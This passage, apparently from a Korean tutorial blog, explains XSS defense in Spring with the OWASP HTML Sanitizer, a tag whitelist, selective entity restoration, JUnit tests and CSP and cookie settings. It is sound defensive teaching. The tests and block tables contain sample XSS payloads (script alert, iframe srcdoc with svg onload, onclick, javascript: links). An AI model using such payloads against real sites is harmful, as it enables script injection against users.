        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;amp;"</span><span class="o">,</span> <span class="s">"&amp;"</span><span class="o">);</span>

        <span class="k">return</span> <span class="n">sanitized</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<h2 id="화이트리스트-정책-상세">화이트리스트 정책 상세</h2>

<h3 id="허용-태그-25개">허용 태그 (25개)</h3>

<table>
  <thead>
    <tr>
      <th>카테고리</th>
      <th>태그</th>
      <th>용도</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>블록 요소</td>
      <td><code class="language-plaintext highlighter-rouge">p</code>, <code class="language-plaintext highlighter-rouge">div</code>, <code class="language-plaintext highlighter-rouge">br</code>, <code class="language-plaintext highlighter-rouge">h1</code>~<code class="language-plaintext highlighter-rouge">h6</code>, <code class="language-plaintext highlighter-rouge">blockquote</code>, <code class="language-plaintext highlighter-rouge">pre</code></td>
      <td>문단, 제목, 인용, 코드 블록</td>
    </tr>
    <tr>
      <td>텍스트 강조</td>
      <td><code class="language-plaintext highlighter-rouge">strong</code>, <code class="language-plaintext highlighter-rouge">em</code>, <code class="language-plaintext highlighter-rouge">u</code>, <code class="language-plaintext highlighter-rouge">s</code>, <code class="language-plaintext highlighter-rouge">code</code></td>
      <td>굵게, 기울임, 밑줄, 취소선, 인라인 코드</td>
    </tr>
    <tr>
      <td>리스트</td>
      <td><code class="language-plaintext highlighter-rouge">ul</code>, <code class="language-plaintext highlighter-rouge">ol</code>, <code class="language-plaintext highlighter-rouge">li</code></td>
      <td>순서/비순서 목록</td>
    </tr>
    <tr>
      <td>링크</td>
      <td><code class="language-plaintext highlighter-rouge">a</code> (href만 허용, nofollow 강제)</td>
      <td>하이퍼링크</td>
    </tr>
    <tr>
      <td>이미지</td>
      <td><code class="language-plaintext highlighter-rouge">img</code> (src, alt, title만 허용)</td>
      <td>이미지 삽입</td>
    </tr>
    <tr>
      <td>테이블</td>
      <td><code class="language-plaintext highlighter-rouge">table</code>, <code class="language-plaintext highlighter-rouge">thead</code>, <code class="language-plaintext highlighter-rouge">tbody</code>, <code class="language-plaintext highlighter-rouge">tfoot</code>, <code class="language-plaintext highlighter-rouge">tr</code>, <code class="language-plaintext highlighter-rouge">th</code>, <code class="language-plaintext highlighter-rouge">td</code>, <code class="language-plaintext highlighter-rouge">caption</code></td>
      <td>데이터 테이블</td>
    </tr>
  </tbody>
</table>

<h3 id="차단-대상-허용-정책-외-모든-대상">차단 대상 (허용 정책 외 모든 대상)</h3>

<table>
  <thead>
    <tr>
      <th>카테고리</th>
      <th>차단 대상</th>
      <th>이유</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>스크립트</td>
      <td><code class="language-plaintext highlighter-rouge">&lt;script&gt;</code></td>
      <td>JavaScript 실행 → XSS 핵심 벡터</td>
    </tr>
    <tr>
      <td>프레임</td>
      <td><code class="language-plaintext highlighter-rouge">&lt;iframe&gt;</code>, <code class="language-plaintext highlighter-rouge">&lt;object&gt;</code>, <code class="language-plaintext highlighter-rouge">&lt;embed&gt;</code></td>
      <td>외부 콘텐츠 삽입 → 악성 페이지 로드</td>
    </tr>
    <tr>
      <td>폼 요소</td>
      <td><code class="language-plaintext highlighter-rouge">&lt;form&gt;</code>, <code class="language-plaintext highlighter-rouge">&lt;input&gt;</code>, <code class="language-plaintext highlighter-rouge">&lt;button&gt;</code></td>
      <td>사용자 입력 탈취 → 피싱</td>
    </tr>
    <tr>
      <td>이벤트 핸들러</td>
      <td><code class="language-plaintext highlighter-rouge">onclick</code>, <code class="language-plaintext highlighter-rouge">onerror</code>, <code class="language-plaintext highlighter-rouge">onload</code> 등</td>
      <td>JavaScript 실행 트리거</td>
    </tr>
    <tr>
      <td>위험 프로토콜</td>
      <td><code class="language-plaintext highlighter-rouge">javascript:</code>, <code class="language-plaintext highlighter-rouge">data:</code>, <code class="language-plaintext highlighter-rouge">vbscript:</code></td>
      <td>URL을 통한 스크립트 실행</td>
    </tr>
    <tr>
      <td>스타일</td>
      <td><code class="language-plaintext highlighter-rouge">style</code> 속성, <code class="language-plaintext highlighter-rouge">&lt;style&gt;</code> 태그</td>
      <td>CSS Injection</td>
    </tr>
  </tbody>
</table>

<h2 id="특수문자-선택적-복원-정책">특수문자 선택적 복원 정책</h2>

<h3 id="문제">문제</h3>

<p>OWASP Sanitizer는 sanitize 과정에서 모든 특수문자를 <a href="https://www.ascii-code.com/">HTML 코드</a>로 인코딩합니다. 이로 인해 Controller 단에서 JSON 데이터를 Java 객체로 역직렬화할 때 파싱 오류가 발생할 수 있습니다.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>입력 데이터: ["option1","option2"]
1단계 sanitize: [&amp;#34;option1&amp;#34;,&amp;#34;option2&amp;#34;]   ← JSON 역직렬화 불가
</code></pre></div></div>

<h3 id="복원-대상-및-차단-유지-대상">복원 대상 및 차단 유지 대상</h3>

<p><strong>복원하는 문자 (안전):</strong></p>

<table>
  <thead>
    <tr>
      <th>Entity</th>
      <th>복원 결과</th>
      <th>용도</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">&amp;#34;</code>, <code class="language-plaintext highlighter-rouge">&amp;quot;</code></td>
      <td><code class="language-plaintext highlighter-rouge">"</code></td>
      <td>큰따옴표</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">&amp;#39;</code>, <code class="language-plaintext highlighter-rouge">&amp;apos;</code></td>
      <td><code class="language-plaintext highlighter-rouge">'</code></td>
      <td>작은따옴표</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">&amp;#92;</code></td>
      <td><code class="language-plaintext highlighter-rouge">\</code></td>
      <td>JSON 이스케이프</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">&amp;#64;</code></td>
      <td><code class="language-plaintext highlighter-rouge">@</code></td>
      <td>이메일 주소</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">&amp;#43;</code></td>
      <td><code class="language-plaintext highlighter-rouge">+</code></td>
      <td>검색어, 연산자</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">&amp;#61;</code></td>
      <td><code class="language-plaintext highlighter-rouge">=</code></td>
      <td>파라미터 값 구분</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">&amp;amp;</code></td>
      <td><code class="language-plaintext highlighter-rouge">&amp;</code></td>
      <td>앰퍼샌드 (**반드시 마지막에 복원**)</td>
    </tr>
  </tbody>
</table>

<p><strong>차단 유지하는 문자 (위험):</strong></p>

<table>
  <thead>
    <tr>
      <th>Entity</th>
      <th>문자</th>
      <th>이유</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">&amp;lt;</code></td>
      <td><code class="language-plaintext highlighter-rouge">&lt;</code></td>
      <td>HTML 태그 시작 → XSS 핵심 벡터</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">&amp;gt;</code></td>
      <td><code class="language-plaintext highlighter-rouge">&gt;</code></td>
      <td>HTML 태그 종료 → XSS 핵심 벡터</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p><strong>주의</strong>: <code class="language-plaintext highlighter-rouge">&amp;amp;</code> 복원은 반드시 마지막에 수행해야 합니다. <code class="language-plaintext highlighter-rouge">&amp;amp;</code>를 먼저 복원하면 <code class="language-plaintext highlighter-rouge">&amp;amp;quot;</code> → <code class="language-plaintext highlighter-rouge">&amp;quot;</code> → <code class="language-plaintext highlighter-rouge">"</code>로 이중 디코딩(double-decoding)되어 사용자의 원본 데이터가 변조됩니다.</p>
</blockquote>

<h3 id="복원-예시">복원 예시</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>입력: ["4","5"]
1단계 Sanitize: [&amp;#34;4&amp;#34;,&amp;#34;5&amp;#34;]    (XSS 제거 + 인코딩)
2단계 선택적 복원: ["4","5"]               (따옴표 복원 → JSON 역직렬화 가능)

입력: &lt;script&gt;alert(1)&lt;/script&gt;
1단계 Sanitize: (빈 문자열)                (위험 태그 완전 제거)
2단계 선택적 복원: (빈 문자열)              (XSS 차단 유지)

입력: 안녕하세요.&lt;iframe srcdoc="&lt;svg/onload=alert(4)&gt;"&gt;&lt;/iframe&gt;감사합니다.
1단계 Sanitize: 안녕하세요.감사합니다.       (위험 태그만 제거, 텍스트 보존)
2단계 선택적 복원: 안녕하세요.감사합니다.     (변환 대상 없음)
</code></pre></div></div>

<h2 id="테스트">테스트</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">org.junit.jupiter.api.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.owasp.html.HtmlPolicyBuilder</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.owasp.html.PolicyFactory</span><span class="o">;</span>

<span class="nd">@TestMethodOrder</span><span class="o">(</span><span class="nc">MethodOrderer</span><span class="o">.</span><span class="na">OrderAnnotation</span><span class="o">.</span><span class="na">class</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">OwaspPolicyTest</span> <span class="o">{</span>

    <span class="kd">private</span> <span class="nc">PolicyFactory</span> <span class="n">policy</span><span class="o">;</span>

    <span class="nd">@BeforeEach</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">setUp</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">policy</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HtmlPolicyBuilder</span><span class="o">()</span>
            <span class="o">.</span><span class="na">allowElements</span><span class="o">(</span><span class="s">"p"</span><span class="o">,</span> <span class="s">"div"</span><span class="o">,</span> <span class="s">"br"</span><span class="o">,</span> <span class="s">"h1"</span><span class="o">,</span> <span class="s">"h2"</span><span class="o">,</span> <span class="s">"h3"</span><span class="o">,</span> <span class="s">"h4"</span><span class="o">,</span> <span class="s">"h5"</span><span class="o">,</span> <span class="s">"h6"</span><span class="o">,</span>
                           <span class="s">"blockquote"</span><span class="o">,</span> <span class="s">"pre"</span><span class="o">,</span> <span class="s">"span"</span><span class="o">,</span> <span class="s">"strong"</span><span class="o">,</span> <span class="s">"em"</span><span class="o">,</span> <span class="s">"u"</span><span class="o">,</span> <span class="s">"s"</span><span class="o">,</span>
                           <span class="s">"code"</span><span class="o">,</span> <span class="s">"ul"</span><span class="o">,</span> <span class="s">"ol"</span><span class="o">,</span> <span class="s">"li"</span><span class="o">,</span> <span class="s">"a"</span><span class="o">,</span> <span class="s">"img"</span><span class="o">,</span>
                           <span class="s">"table"</span><span class="o">,</span> <span class="s">"thead"</span><span class="o">,</span> <span class="s">"tbody"</span><span class="o">,</span> <span class="s">"tfoot"</span><span class="o">,</span> <span class="s">"tr"</span><span class="o">,</span> <span class="s">"th"</span><span class="o">,</span> <span class="s">"td"</span><span class="o">,</span> <span class="s">"caption"</span><span class="o">)</span>
            <span class="o">.</span><span class="na">allowUrlProtocols</span><span class="o">(</span><span class="s">"https"</span><span class="o">,</span> <span class="s">"http"</span><span class="o">)</span>
            <span class="o">.</span><span class="na">allowAttributes</span><span class="o">(</span><span class="s">"href"</span><span class="o">).</span><span class="na">onElements</span><span class="o">(</span><span class="s">"a"</span><span class="o">)</span>
            <span class="o">.</span><span class="na">requireRelNofollowOnLinks</span><span class="o">()</span>
            <span class="o">.</span><span class="na">allowAttributes</span><span class="o">(</span><span class="s">"src"</span><span class="o">,</span> <span class="s">"alt"</span><span class="o">,</span> <span class="s">"title"</span><span class="o">).</span><span class="na">onElements</span><span class="o">(</span><span class="s">"img"</span><span class="o">)</span>
            <span class="o">.</span><span class="na">allowAttributes</span><span class="o">(</span><span class="s">"class"</span><span class="o">).</span><span class="na">globally</span><span class="o">()</span>
            <span class="o">.</span><span class="na">allowAttributes</span><span class="o">(</span><span class="s">"id"</span><span class="o">).</span><span class="na">globally</span><span class="o">()</span>
            <span class="o">.</span><span class="na">toFactory</span><span class="o">();</span>
    <span class="o">}</span>

    <span class="nd">@Test</span>
    <span class="nd">@Order</span><span class="o">(</span><span class="mi">1</span><span class="o">)</span>
    <span class="nd">@DisplayName</span><span class="o">(</span><span class="s">"JSON 문자열: sanitize 후 선택적 복원으로 원본 보존"</span><span class="o">)</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">testJsonString</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">input</span> <span class="o">=</span> <span class="s">"[\"1\",\"2\",\"3\"]"</span><span class="o">;</span>
        <span class="nc">String</span> <span class="n">sanitized</span> <span class="o">=</span> <span class="n">policy</span><span class="o">.</span><span class="na">sanitize</span><span class="o">(</span><span class="n">input</span><span class="o">);</span>
        <span class="nc">String</span> <span class="n">restored</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;#34;"</span><span class="o">,</span> <span class="s">"\""</span><span class="o">)</span>
                                   <span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;quot;"</span><span class="o">,</span> <span class="s">"\""</span><span class="o">);</span>

        <span class="nc">Assertions</span><span class="o">.</span><span class="na">assertEquals</span><span class="o">(</span><span class="n">input</span><span class="o">,</span> <span class="n">restored</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="nd">@Test</span>
    <span class="nd">@Order</span><span class="o">(</span><span class="mi">2</span><span class="o">)</span>
    <span class="nd">@DisplayName</span><span class="o">(</span><span class="s">"XSS script 태그: 완전 제거"</span><span class="o">)</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">testXssScriptTag</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">input</span> <span class="o">=</span> <span class="s">"&lt;script&gt;alert('XSS')&lt;/script&gt;"</span><span class="o">;</span>
        <span class="nc">String</span> <span class="n">sanitized</span> <span class="o">=</span> <span class="n">policy</span><span class="o">.</span><span class="na">sanitize</span><span class="o">(</span><span class="n">input</span><span class="o">);</span>

        <span class="nc">Assertions</span><span class="o">.</span><span class="na">assertTrue</span><span class="o">(</span><span class="n">sanitized</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">());</span>
    <span class="o">}</span>

    <span class="nd">@Test</span>
    <span class="nd">@Order</span><span class="o">(</span><span class="mi">3</span><span class="o">)</span>
    <span class="nd">@DisplayName</span><span class="o">(</span><span class="s">"안전한 HTML 태그: 보존"</span><span class="o">)</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">testSafeHtmlPreserved</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">input</span> <span class="o">=</span> <span class="s">"&lt;h2&gt;제목&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;중요&lt;/strong&gt; 내용입니다&lt;/p&gt;"</span><span class="o">;</span>
        <span class="nc">String</span> <span class="n">sanitized</span> <span class="o">=</span> <span class="n">policy</span><span class="o">.</span><span class="na">sanitize</span><span class="o">(</span><span class="n">input</span><span class="o">);</span>

        <span class="nc">Assertions</span><span class="o">.</span><span class="na">assertTrue</span><span class="o">(</span><span class="n">sanitized</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"&lt;h2&gt;"</span><span class="o">));</span>
        <span class="nc">Assertions</span><span class="o">.</span><span class="na">assertTrue</span><span class="o">(</span><span class="n">sanitized</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"&lt;strong&gt;"</span><span class="o">));</span>
        <span class="nc">Assertions</span><span class="o">.</span><span class="na">assertTrue</span><span class="o">(</span><span class="n">sanitized</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"&lt;p&gt;"</span><span class="o">));</span>
    <span class="o">}</span>

    <span class="nd">@Test</span>
    <span class="nd">@Order</span><span class="o">(</span><span class="mi">4</span><span class="o">)</span>
    <span class="nd">@DisplayName</span><span class="o">(</span><span class="s">"iframe XSS 공격: 위험 태그만 제거, 텍스트 보존"</span><span class="o">)</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">testIframeXssRemoved</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">input</span> <span class="o">=</span> <span class="s">"안녕하세요.&lt;iframe srcdoc=\"&lt;svg/onload=alert(4)&gt;\"&gt;&lt;/iframe&gt;감사합니다."</span><span class="o">;</span>
        <span class="nc">String</span> <span class="n">sanitized</span> <span class="o">=</span> <span class="n">policy</span><span class="o">.</span><span class="na">sanitize</span><span class="o">(</span><span class="n">input</span><span class="o">);</span>

        <span class="nc">Assertions</span><span class="o">.</span><span class="na">assertFalse</span><span class="o">(</span><span class="n">sanitized</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"iframe"</span><span class="o">));</span>
        <span class="nc">Assertions</span><span class="o">.</span><span class="na">assertFalse</span><span class="o">(</span><span class="n">sanitized</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"onload"</span><span class="o">));</span>
        <span class="nc">Assertions</span><span class="o">.</span><span class="na">assertTrue</span><span class="o">(</span><span class="n">sanitized</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"안녕하세요."</span><span class="o">));</span>
        <span class="nc">Assertions</span><span class="o">.</span><span class="na">assertTrue</span><span class="o">(</span><span class="n">sanitized</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"감사합니다."</span><span class="o">));</span>
    <span class="o">}</span>

    <span class="nd">@Test</span>
    <span class="nd">@Order</span><span class="o">(</span><span class="mi">5</span><span class="o">)</span>
    <span class="nd">@DisplayName</span><span class="o">(</span><span class="s">"이벤트 핸들러 공격: onclick 제거"</span><span class="o">)</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">testEventHandlerRemoved</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">input</span> <span class="o">=</span> <span class="s">"&lt;div onclick=\"alert('xss')\"&gt;클릭&lt;/div&gt;"</span><span class="o">;</span>
        <span class="nc">String</span> <span class="n">sanitized</span> <span class="o">=</span> <span class="n">policy</span><span class="o">.</span><span class="na">sanitize</span><span class="o">(</span><span class="n">input</span><span class="o">);</span>

        <span class="nc">Assertions</span><span class="o">.</span><span class="na">assertFalse</span><span class="o">(</span><span class="n">sanitized</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"onclick"</span><span class="o">));</span>
        <span class="nc">Assertions</span><span class="o">.</span><span class="na">assertTrue</span><span class="o">(</span><span class="n">sanitized</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"클릭"</span><span class="o">));</span>
    <span class="o">}</span>

    <span class="nd">@Test</span>
    <span class="nd">@Order</span><span class="o">(</span><span class="mi">6</span><span class="o">)</span>
    <span class="nd">@DisplayName</span><span class="o">(</span><span class="s">"javascript: 프로토콜 공격: 링크 제거"</span><span class="o">)</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">testJavascriptProtocolRemoved</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">input</span> <span class="o">=</span> <span class="s">"&lt;a href=\"javascript:alert('xss')\"&gt;링크&lt;/a&gt;"</span><span class="o">;</span>
        <span class="nc">String</span> <span class="n">sanitized</span> <span class="o">=</span> <span class="n">policy</span><span class="o">.</span><span class="na">sanitize</span><span class="o">(</span><span class="n">input</span><span class="o">);</span>

        <span class="nc">Assertions</span><span class="o">.</span><span class="na">assertFalse</span><span class="o">(</span><span class="n">sanitized</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"javascript"</span><span class="o">));</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<hr />

<h2 id="json-bodyrequestbody-xss-방어">JSON Body(@RequestBody) XSS 방어</h2>

<h3 id="servlet-parameter와-json-body의-차이">Servlet Parameter와 JSON Body의 차이</h3>

<p>위에서 구현한 Filter는 Servlet Parameter(<code class="language-plaintext highlighter-rouge">getParameter()</code>)만 보호합니다. <code class="language-plaintext highlighter-rouge">application/json</code> Content-Type의 요청 본문은 Servlet 스펙상 파라미터로 파싱되지 않고, <code class="language-plaintext highlighter-rouge">getInputStream()</code>을 통해 Jackson이 직접 역직렬화하므로 sanitize 대상이 아닙니다.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Form 전송]  Content-Type: application/x-www-form-urlencoded
  name=홍길동&amp;age=30
  → getParameter("name") = "홍길동"     ← Wrapper sanitize 적용됨

[JSON 전송]  Content-Type: application/json
  {"name":"홍길동","age":30}
  → getParameter("name") = null          ← 파라미터에 없음
  → getInputStream()으로 Jackson 역직렬화  ← Wrapper 오버라이드 대상 아님
</code></pre></div></div>

<h3 id="대응-방법-requestbodyadvice">대응 방법: RequestBodyAdvice</h3>

<p>Spring의 <code class="language-plaintext highlighter-rouge">RequestBodyAdvice</code>를 사용하면 기존 Controller 코드 수정 없이 <code class="language-plaintext highlighter-rouge">@RequestBody</code> 역직렬화 후 자동 sanitize를 적용할 수 있습니다.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@RestControllerAdvice</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">XssRequestBodyAdvice</span> <span class="kd">implements</span> <span class="nc">RequestBodyAdvice</span> <span class="o">{</span>

    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">PolicyFactory</span> <span class="n">policy</span><span class="o">;</span>

    <span class="kd">public</span> <span class="nf">XssRequestBodyAdvice</span><span class="o">(</span><span class="nc">OwaspXssFilter</span> <span class="n">xssFilter</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">policy</span> <span class="o">=</span> <span class="n">xssFilter</span><span class="o">.</span><span class="na">getPolicy</span><span class="o">();</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">supports</span><span class="o">(</span><span class="nc">MethodParameter</span> <span class="n">parameter</span><span class="o">,</span> <span class="nc">Type</span> <span class="n">targetType</span><span class="o">,</span>
                            <span class="nc">Class</span><span class="o">&lt;?</span> <span class="kd">extends</span> <span class="nc">HttpMessageConverter</span><span class="o">&lt;?&gt;&gt;</span> <span class="n">converterType</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="nc">HttpInputMessage</span> <span class="nf">beforeBodyRead</span><span class="o">(</span><span class="nc">HttpInputMessage</span> <span class="n">inputMessage</span><span class="o">,</span>
            <span class="nc">MethodParameter</span> <span class="n">parameter</span><span class="o">,</span> <span class="nc">Type</span> <span class="n">targetType</span><span class="o">,</span>
            <span class="nc">Class</span><span class="o">&lt;?</span> <span class="kd">extends</span> <span class="nc">HttpMessageConverter</span><span class="o">&lt;?&gt;&gt;</span> <span class="n">converterType</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">return</span> <span class="n">inputMessage</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="nc">Object</span> <span class="nf">afterBodyRead</span><span class="o">(</span><span class="nc">Object</span> <span class="n">body</span><span class="o">,</span> <span class="nc">HttpInputMessage</span> <span class="n">inputMessage</span><span class="o">,</span>
            <span class="nc">MethodParameter</span> <span class="n">parameter</span><span class="o">,</span> <span class="nc">Type</span> <span class="n">targetType</span><span class="o">,</span>
            <span class="nc">Class</span><span class="o">&lt;?</span> <span class="kd">extends</span> <span class="nc">HttpMessageConverter</span><span class="o">&lt;?&gt;&gt;</span> <span class="n">converterType</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">sanitizeStringFields</span><span class="o">(</span><span class="n">body</span><span class="o">);</span>
        <span class="k">return</span> <span class="n">body</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="nc">Object</span> <span class="nf">handleEmptyBody</span><span class="o">(</span><span class="nc">Object</span> <span class="n">body</span><span class="o">,</span> <span class="nc">HttpInputMessage</span> <span class="n">inputMessage</span><span class="o">,</span>
            <span class="nc">MethodParameter</span> <span class="n">parameter</span><span class="o">,</span> <span class="nc">Type</span> <span class="n">targetType</span><span class="o">,</span>
            <span class="nc">Class</span><span class="o">&lt;?</span> <span class="kd">extends</span> <span class="nc">HttpMessageConverter</span><span class="o">&lt;?&gt;&gt;</span> <span class="n">converterType</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">return</span> <span class="n">body</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="kt">void</span> <span class="nf">sanitizeStringFields</span><span class="o">(</span><span class="nc">Object</span> <span class="n">obj</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">obj</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="k">return</span><span class="o">;</span>
        <span class="k">for</span> <span class="o">(</span><span class="nc">Field</span> <span class="n">field</span> <span class="o">:</span> <span class="n">obj</span><span class="o">.</span><span class="na">getClass</span><span class="o">().</span><span class="na">getDeclaredFields</span><span class="o">())</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">field</span><span class="o">.</span><span class="na">getType</span><span class="o">()</span> <span class="o">==</span> <span class="nc">String</span><span class="o">.</span><span class="na">class</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">field</span><span class="o">.</span><span class="na">setAccessible</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
                <span class="k">try</span> <span class="o">{</span>
                    <span class="nc">String</span> <span class="n">value</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span> <span class="n">field</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">obj</span><span class="o">);</span>
                    <span class="k">if</span> <span class="o">(</span><span class="n">value</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
                        <span class="n">field</span><span class="o">.</span><span class="na">set</span><span class="o">(</span><span class="n">obj</span><span class="o">,</span> <span class="n">policy</span><span class="o">.</span><span class="na">sanitize</span><span class="o">(</span><span class="n">value</span><span class="o">));</span>
                    <span class="o">}</span>
                <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IllegalAccessException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
                    <span class="c1">// skip</span>
                <span class="o">}</span>
            <span class="o">}</span>
        <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<blockquote>
  <p><strong>참고</strong>: 리플렉션 기반이므로 중첩 객체, List, Map 필드는 추가 재귀 처리가 필요합니다.</p>
</blockquote>

<h2 id="추가-보안-권장사항">추가 보안 권장사항</h2>

<p>XSS Filter만으로 완벽한 방어가 되지는 않습니다. <strong>심층 방어(Defense in Depth)</strong> 원칙에 따라 다음 조치를 함께 적용하는 것을 권장합니다.</p>

<h3 id="1-content-security-policy-헤더">1. Content-Security-Policy 헤더</h3>

<p>브라우저에게 “이 페이지에서 실행할 수 있는 리소스의 출처”를 제한하는 HTTP 응답 헤더입니다. XSS로 주입된 인라인 스크립트나 외부 도메인 스크립트가 브라우저 레벨에서 차단되므로, Sanitizer가 놓친 공격도 2차로 방어할 수 있습니다.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Security-Policy: default-src 'self'; script-src 'self'
</code></pre></div></div>

<ul>
  <li><code class="language-plaintext highlighter-rouge">default-src 'self'</code>: 모든 리소스(이미지, 폰트, CSS 등)는 같은 도메인에서만 로드 허용</li>
  <li><code class="language-plaintext highlighter-rouge">script-src 'self'</code>: JavaScript는 같은 도메인의 파일만 실행 허용</li>
</ul>

<h3 id="2-httponly--secure-cookie">2. HttpOnly / Secure Cookie</h3>

<p>XSS 공격이 Sanitizer를 우회하더라도 세션 쿠키 탈취를 방지하는 설정입니다.</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">server</span><span class="pi">:</span>
  <span class="na">servlet</span><span class="pi">:</span>
    <span class="na">session</span><span class="pi">:</span>
      <span class="na">cookie</span><span class="pi">:</span>
        <span class="na">http-only</span><span class="pi">:</span> <span class="kc">true</span>   <span class="c1"># JavaScript(document.cookie)에서 쿠키 접근 차단</span>
        <span class="na">secure</span><span class="pi">:</span> <span class="kc">true</span>       <span class="c1"># HTTPS 연결에서만 쿠키 전송</span>
</code></pre></div></div>

<ul>
  <li><strong>HttpOnly</strong>: <code class="language-plaintext highlighter-rouge">document.cookie</code>로 쿠키를 읽을 수 없게 하여 XSS 공격이 성공하더라도 세션 쿠키 탈취가 불가능합니다</li>
  <li><strong>Secure</strong>: 쿠키가 HTTPS 연결에서만 전송되어 중간자 공격(MITM)으로 쿠키가 평문 노출되는 것을 방지합니다</li>
</ul>

<h3 id="3-출력-인코딩">3. 출력 인코딩</h3>

<p>템플릿 엔진에서 자동 이스케이핑을 사용합니다.</p>
<ul>
  <li>Thymeleaf: <code class="language-plaintext highlighter-rouge">th:text</code> (자동 이스케이핑)</li>
  <li>JSP: <code class="language-plaintext highlighter-rouge">&lt;c:out&gt;</code> 사용</li>
  <li>React: <code class="language-plaintext highlighter-rouge">{variable}</code> (자동 이스케이핑)</li>
</ul>

<h2 id="정리">정리</h2>

<ul>
  <li>XSS 방어는 <strong>블랙리스트보다 화이트리스트</strong>, <strong>수동보다 자동화</strong>가 핵심입니다</li>
